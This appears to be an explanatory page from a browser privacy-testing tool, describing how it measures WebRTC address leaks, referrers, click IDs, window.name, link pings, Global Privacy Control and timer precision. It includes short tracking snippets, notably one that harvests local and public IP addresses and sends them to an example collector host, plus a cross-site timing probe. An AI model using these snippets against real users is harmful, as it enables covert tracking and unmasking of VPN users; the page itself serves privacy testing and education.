Cookies and fingerprints are how a tracker recognises you. The channels on this page do something narrower: each gives away one piece of context, such as your network address, the page you were reading, the link you clicked or the identifier an ad platform attached to it. Some of them carry identifiers between sites on their own; the others make the profile a tracker builds sharper. This area carries of the 100 points.
WebRTC address leak
What Bye Spy measures
WebRTC lets two browsers talk directly, for video calls and file transfers. To find a path between them, the browser gathers ICE candidates: the addresses at which it might be reachable. Any page can start this process without asking permission. Bye Spy opens an RTCPeerConnection with a data channel, creates an offer and records every candidate the browser produces for six seconds:
- Host candidates carry the device's own interface addresses. A modern browser replaces the address with a random name ending in
.local(multicast DNS) unless the page has camera or microphone access. Bye Spy counts any host candidate that is a real address rather than a.localname as a leak. - Server-reflexive candidates (
srflx) are the public address a STUN server saw. Only when you tick the outside-servers box does Bye Spy ask one (Cloudflare's public STUN server). It compares the answer with the address its own server saw for the page. A different address in the same family means traffic took a route your other traffic did not, the classic VPN leak.
Why it matters
A private LAN address such as 192.168.1.23 is not unique worldwide, but it is stable, it differs between devices on the same network, and combined with the public address it singles out one machine behind a household or office router. A public address that differs from the one the site sees is worse: for someone using a VPN or proxy precisely to hide their address, it undoes the protection.
How it is used in the wild
The technique takes a dozen lines. In July 2015, readers found this pattern in a script embedded on The New York Times website, asking a STUN server at ph.tagsrvcs.com[1]. The host was registered to White Ops, an ad-fraud detection company, and a co-founder later said the code was there to detect bot traffic, a reminder that the same technique serves fraud detection and tracking alike.
const pc = new RTCPeerConnection({ iceServers: [{ urls: 'stun:stun.example.net:3478' }] });
pc.createDataChannel(''); // any channel makes the browser gather candidates
pc.onicecandidate = ({ candidate }) => {
if (!candidate) return;
// "candidate:842163049 1 udp 1677729535 203.0.113.7 51472 typ srflx raddr 192.168.1.23 ..."
const [, , , , address, , , type] = candidate.candidate.split(' ');
navigator.sendBeacon('https://collector.example/ip', JSON.stringify({ address, type }));
};
await pc.setLocalDescription(await pc.createOffer());
Evidence and prevalence
Englehardt and Narayanan's crawl of the top million sites in 2016 found WebRTC used to discover local addresses on 715 of them, the vast majority through third-party scripts[2]. Browsers responded by hiding host addresses behind random multicast-DNS names: Chrome rolled this out from version 75 to 76 in 2019, for pages without camera or microphone permission[3], and Firefox followed in version 74 in 2020[4]. The mechanism is described in an IETF Internet-Draft that never became an RFC[5]. The public-address leak behind VPNs is not something the browser can fully solve; it depends on how the VPN routes UDP.
How it is scored
- Safe
- Only
.localnames among the host candidates, and no unexpected public address. Also safe when WebRTC is turned off entirely. - Partly leaks (0.5)
- WebRTC revealed an address of the other IP family (for example your IPv6 address when you reached the site over IPv4). It reveals more about your connection, but no address the site couldn't otherwise reach.
- Leaks
- A real local address in a host candidate, or a public address of the same family that differs from the one the site sees.
It is the heaviest check in this area because a real address is the most directly identifying thing on this page, and because the VPN case defeats a protection people deliberately chose.
Referrer: where you came from
What Bye Spy measures
When a page loads a resource from another site, the browser may send the address of that page in the Referer header. During a run the test page's own address contains the run's ID (/?run=…), which plays the part of anything private in a real address: a search term, an order number, an email address. Bye Spy makes two requests to its test tracker, which repeats back the header it received:
- one with the browser's default policy (the test page deliberately sends no
Referrer-Policyof its own), and - one where the page asks for the full address with
referrerPolicy: 'unsafe-url', as a tracker's own script is free to do.
If the run ID arrives, the full address leaked; if only https://byespy.heysec.com/ arrives, the browser trimmed it to the site.
Why it matters
Addresses routinely hold what the page is about and who is reading it. A tracker that receives full referrers learns the exact article, search query or account page on every site that embeds it, without running any script.
GET /pixel.gif HTTP/1.1
Host: tracker.example
Referer: https://clinic.example/search?q=hiv+test+near+me&zip=94110
A page or script can still ask for more than the default, per element or per request:
<img src="https://tracker.example/p.gif" referrerpolicy="unsafe-url">
fetch('https://tracker.example/collect', { referrerPolicy: 'unsafe-url' });
Evidence and prevalence
In January 2015 the EFF found HealthCare.gov sending visitors' age, income, ZIP code, smoker and pregnancy status to at least 14 third-party domains, carried in request addresses and referrers[6]. Browsers have since changed the default to strict-origin-when-cross-origin, which sends only the site to other sites: Chrome in version 85 (2020)[7] and Firefox in version 87 (2021)[8]. Safari trims every cross-site referrer to the site since December 2019[9].
The default is only half the story, because a page can relax it. Firefox ignores relaxing policies (unsafe-url, no-referrer-when-downgrade, origin-when-cross-origin) on cross-site requests since version 100[10], as Safari and Brave do; Chromium-based browsers honour them. That is why Bye Spy tests both.
How it is scored
- Safe
- Only the site is sent, by default and when the page asks for more.
- Partly leaks (0.6)
- The default is trimmed, but the browser sends the full address when a page asks for it.
- Leaks
- The full address goes to other sites by default.
The default counts for 0.6 and the requested case for 0.4. The default matters more because it applies to every embedded resource on every page, while the requested case needs a script that asks.
Click IDs in links
What Bye Spy measures
When the test opens the tracker's own site in its small window, it adds 20 query parameters that advertising and email platforms append to links, each with a random value: fbclid, gclid, dclid, gbraid, wbraid, msclkid, twclid, ttclid, li_fat_id, igshid, mc_eid, the HubSpot set (_hsenc, __hssc, __hstc, __hsfp), mkt_tok, oly_anon_id, oly_enc_id, vero_id and wickedid. It also adds utm_campaign, a campaign label that is not personal and that browsers leave alone. The tracker's server records exactly which parameters arrived. If even utm_campaign is missing, the query string was dropped as a whole and the check cannot tell what was stripped.
Why it matters
A click ID is an identifier minted for one click by one person. It survives every cookie protection, because it travels in the address itself: the platform knows who clicked, and the landing site's tag stores the ID in a first-party cookie and reports it back with every later conversion.
// https://shop.example/product/42?fbclid=IwAR2x… (arrived from a social network)
const id = new URLSearchParams(location.search).get('fbclid');
if (id) document.cookie = `_fbc=fb.1.${Date.now()}.${id}; Max-Age=7776000; Path=/; SameSite=Lax`;
// Every later purchase event carries _fbc back to the ad platform, which matches it to the click.
Evidence and prevalence
Facebook began adding fbclid to every link leaving its site in early October 2018, without announcement[11]. Search and social ad platforms tag their clicks the same way; Microsoft documents its auto-tagged msclkid[12]. Browsers answered with lists of parameters to strip on navigation: Brave since its 1.x releases[13], Firefox since version 102 (2022) with Enhanced Tracking Protection set to Strict[14], and Safari 17 (2023) in Private Browsing, Mail and Messages[15]. Each list is a moving target: a platform can rename its parameter or fold it into an opaque path.
How it is scored
- Safe
- All 20 click IDs were removed before the tracker's site saw the address.
- Partly leaks
- Some were removed. The value is the share removed: 15 of 20 gives 0.75.
- Leaks
- All 20 reached the tracker's site.
Every parameter counts the same, because the test cannot know which platforms you meet. In practice a few (fbclid, gclid, msclkid) carry most of the traffic, so a browser that strips only those protects more than its share suggests.
window.name carried across sites
What Bye Spy measures
window.name is a string that belongs to the window (the tab), not to the site in it. The test's small window first opens a page on the test site, which writes a random value into window.name, and then navigates itself to the tracker's site the way a link would. The tracker's page reads window.name. The window is opened with noopener, so nothing ties it to the test page and the browser's own rules decide whether the name survives.
Why it matters
If the name survives a cross-site navigation, it is a storage area that ignores every partitioning rule: whatever one site writes, the next site in the same tab reads.
// On site A, before the visitor follows a link away:
window.name = JSON.stringify({ uid: 'a1b2c3d4' });
// On site B, the next page in the same tab:
const uid = JSON.parse(window.name || '{}').uid;
Evidence and prevalence
window.name has been a known tracking vector for years, and was one of the stores Samy Kamkar's evercookie wrote to in 2010[16]. Firefox 88 (April 2021) clears it when a tab navigates to another site, restoring it if you come back[17]; Mozilla noted Safari does the same. Chromium approved the same change in 2021, measuring that only 0.6% of page loads used a name set by another site, and has been rolling it out gradually since[18]. The test reports what your copy actually does.
How it is scored
- Safe
- The name was empty on the tracker's site.
- Leaks
- The value written on the test site was still there.
A yes-or-no check of modest weight: the channel is real but only works within one tab, as you follow links from one site to the next.
Hidden link pings
What Bye Spy measures
HTML lets a link name addresses to notify when it is followed: <a href="…" ping="…">. The browser sends those notifications as POST requests in the background. Bye Spy adds a hidden link with a ping to its tracker, follows it into a hidden frame, and asks its server whether the ping arrived.
Why it matters
Click tracking normally needs a script or a redirect, both of which content blockers and careful users can see. ping needs neither: the link shows its real destination on hover, and the notification goes out on the side.
<a href="https://news.example/story" ping="https://tracker.example/click?u=a1b2c3">Read the story</a>
POST /click?u=a1b2c3 HTTP/1.1
Host: tracker.example
Content-Type: text/ping
Ping-From: https://portal.example/
Ping-To: https://news.example/story
Evidence and prevalence
Major search engines' result pages have used ping to log clicks in browsers that support it[19]. In 2019, Chrome 74 and Safari 12.1 removed the settings that let users turn hyperlink auditing off[20]. Firefox ships with it disabled (browser.send_pings is false by default) and Brave disables it.
How it is scored
- Safe
- No ping arrived, or the browser doesn't support the attribute.
- Leaks
- The tracker received the ping.
Its weight is modest: a ping reports a click a site could often log another way, but it is invisible to the user and to most blockers.
Global Privacy Control
What Bye Spy measures
Whether the browser sends the Sec-GPC: 1 header with the page request, or exposes navigator.globalPrivacyControl === true to scripts. Either counts.
Why it matters
Unlike everything else on this page, GPC is not a leak but a signal: a request, sent to every site automatically, not to sell or share your personal data. Where the law treats it as a valid opt-out, a site that receives it has to act on it, which replaces opting out by hand, site by site.
// What honouring it looks like on a site's server:
if (request.headers['sec-gpc'] === '1') {
disableThirdPartyAdTags(); // no sale or sharing for targeted advertising
recordOptOut(request.user, 'GPC');
}
Evidence and prevalence
GPC launched in October 2020 with Brave, DuckDuckGo, the EFF and others[21]. The California Attorney General's first settlement under the CCPA, with Sephora in August 2022 for $1.2 million, turned on the company ignoring GPC[22], and the July 2025 settlement with Healthline, $1.55 million, again included sharing data after GPC opt-outs[23]. Colorado requires businesses to honour universal opt-out signals from 1 July 2024 and recognised GPC as the first such mechanism[24]. Brave sends GPC by default since version 1.18 (December 2020)[25]; Firefox added a setting for it in version 120 (November 2023)[26]. GPC replaces Do Not Track, which no law required anyone to honour: Safari removed it in 2019 and Firefox removed its setting in version 135 (2025)[27].
How it is scored
- Safe
- GPC is sent, as a header or to scripts.
- Leaks
- It is not sent, so you have to opt out on each site yourself.
Its weight is low because a signal only helps where a site honours it. It is scored at all because it is one of very few privacy settings with legal force behind it.
Timer precision
What Bye Spy measures
For 60 milliseconds the test calls performance.now() in a tight loop and records the smallest step between two different readings. That step is the clock's effective resolution as the browser gives it to scripts.
Why it matters
A fine clock is the instrument behind timing side channels, also called cross-site leaks: by measuring how long another site's resource takes to load, parse or render, a page can infer whether you are signed in there, what is in your cache, or how large a private response is[28][29]. The Spectre attacks of 2018 showed precise timers could even read memory across process boundaries.
const t0 = performance.now();
await fetch('https://social.example/me/avatar.png', { mode: 'no-cors', credentials: 'include' });
const elapsed = performance.now() - t0; // differs for signed-in and signed-out visitors
Evidence and prevalence
In January 2018 every major browser coarsened its timers in response to Spectre; Safari moved to 1 millisecond[30]. The specification now sets 100 microseconds for ordinary pages and 5 microseconds for pages that opt into cross-origin isolation, and Chrome follows it on all platforms since version 91[31]. Firefox defaults to a coarser clock. The test page does not opt into cross-origin isolation, so it sees each browser's ordinary resolution.
How it is scored
- Safe
- Steps of 0.1 ms (100 µs) or coarser: the specification's level for ordinary pages, or a stricter one.
- Partly leaks (0.5)
- Steps between 20 µs and 100 µs.
- Leaks
- Steps finer than 20 µs.
It weighs least in this area: a fine clock is an enabler for attacks rather than a tracking technique on its own, and coarse clocks blunt rather than prevent timing attacks, which can repeat a measurement many times.
References
- webrtcHacks. "Dear NY Times, if you're going to hack people, at least do it cleanly!" 13 July 2015. webrtchacks.com/dear-ny-times
- S. Englehardt and A. Narayanan. "Online Tracking: A 1-million-site Measurement and Analysis." ACM CCS, 2016. webtransparency.cs.princeton.edu/webcensus
- discuss-webrtc. "PSA: mDNS and .local ICE candidates are coming." Google Groups, 2019. groups.google.com/g/discuss-webrtc/c/6stQXi72BEU
- Mozilla. Firefox 74.0 release notes, 2020. firefox.com/en-US/firefox/74.0/releasenotes
- Y. Fablet, J. de Borst, J. Uberti, Q. Wang. "Using Multicast DNS to protect privacy when exposing ICE candidates." IETF Internet-Draft, expired 2021. datatracker.ietf.org/doc/draft-ietf-rtcweb-mdns-ice-candidates
- C. Quintin. "HealthCare.gov Sends Personal Data to Dozens of Tracking Websites." EFF, 20 January 2015. eff.org/deeplinks/2015/01/healthcare.gov-sends-personal-data
- Chrome for Developers. "A new default Referrer-Policy for Chrome: strict-origin-when-cross-origin." 2020. developer.chrome.com/blog/referrer-policy-new-chrome-default
- Mozilla Security Blog. "Firefox 87 trims HTTP Referrers by default to protect user privacy." 22 March 2021. blog.mozilla.org/security/2021/03/22/…
- J. Wilander. "Preventing Tracking Prevention Tracking." WebKit blog, December 2019. webkit.org/blog/9661
- Mozilla Bugzilla. Bug 1734328, ignoring less restrictive referrer policies for cross-site requests by default (Firefox 100). bugzilla.mozilla.org/show_bug.cgi?id=1734328
- "Facebook has started adding a fbclid query parameter to every link." link_cleaner issue #44, 6 October 2018. github.com/idlewan/link_cleaner/issues/44
- Microsoft Advertising. "What is Microsoft Click ID auto-tagging?" learn.microsoft.com/en-us/advertising/msa-help/hlp_ba_proc_microsoftclickid
- Brave. Query-string filter, brave-core pull request #3239. github.com/brave/brave-core/pull/3239
- Mozilla. Firefox 102.0 release notes, June 2022. firefox.com/en-US/firefox/102.0/releasenotes
- MacRumors. "Safari's Link Tracking Protection." 17 June 2023. macrumors.com/2023/06/17/safari-link-tracking-protection
- S. Kamkar. evercookie, 2010. samy.pl/evercookie
- Mozilla Security Blog. "Firefox 88 combats window.name privacy abuses." 19 April 2021. blog.mozilla.org/security/2021/04/19/…
- blink-dev. "Intent to Ship: Clear window name for cross-site navigations that switches browsing context group." 2021. groups.google.com/a/chromium.org/g/blink-dev/c/86VeIi5sZzc
- M. Stoumann. "Google, tracking and the ping attribute." DEV Community. dev.to/madsstoumann/google-tracking-and-the-ping-attribute-41d5
- Malwarebytes Labs. "Hyperlink auditing: where has my option to disable it gone?" June 2019. malwarebytes.com/blog/news/2019/06/…
- Global Privacy Control. Press release, 7 October 2020. globalprivacycontrol.org/press-release/20201007.html
- California Attorney General. "Attorney General Bonta Announces Settlement with Sephora as Part of Ongoing Enforcement of California Consumer Privacy Act." 24 August 2022. oag.ca.gov/news/press-releases/…
- California Attorney General. "Attorney General Bonta Announces Largest CCPA Settlement to Date." 1 July 2025. oag.ca.gov/news/press-releases/…
- Colorado Attorney General. Colorado Privacy Act. coag.gov/resources/colorado-privacy-act
- Brave. "Global Privacy Control, a new privacy standard proposal." brave.com/web-standards-at-brave/4-global-privacy-control
- Mozilla. Firefox 120.0 release notes, November 2023. firefox.com/en-US/firefox/120.0/releasenotes
- Mozilla. Firefox 135.0 release notes, February 2025; MDN, "DNT" (deprecated). firefox.com/en-US/firefox/135.0/releasenotes, developer.mozilla.org/…/Headers/DNT
- T. Van Goethem, W. Joosen, N. Nikiforakis. "The Clock is Still Ticking: Timing Attacks in the Modern Web." ACM CCS, 2015. securitee.org/files/timing-attacks_ccs2015.pdf
- XS-Leaks Wiki. xsleaks.dev
- F. Pizlo. "What Spectre and Meltdown Mean For WebKit." WebKit blog, 8 January 2018. webkit.org/blog/8048
- Chrome for Developers. "Aligning timers with cross-origin isolation restrictions." developer.chrome.com/blog/cross-origin-isolated-hr-timers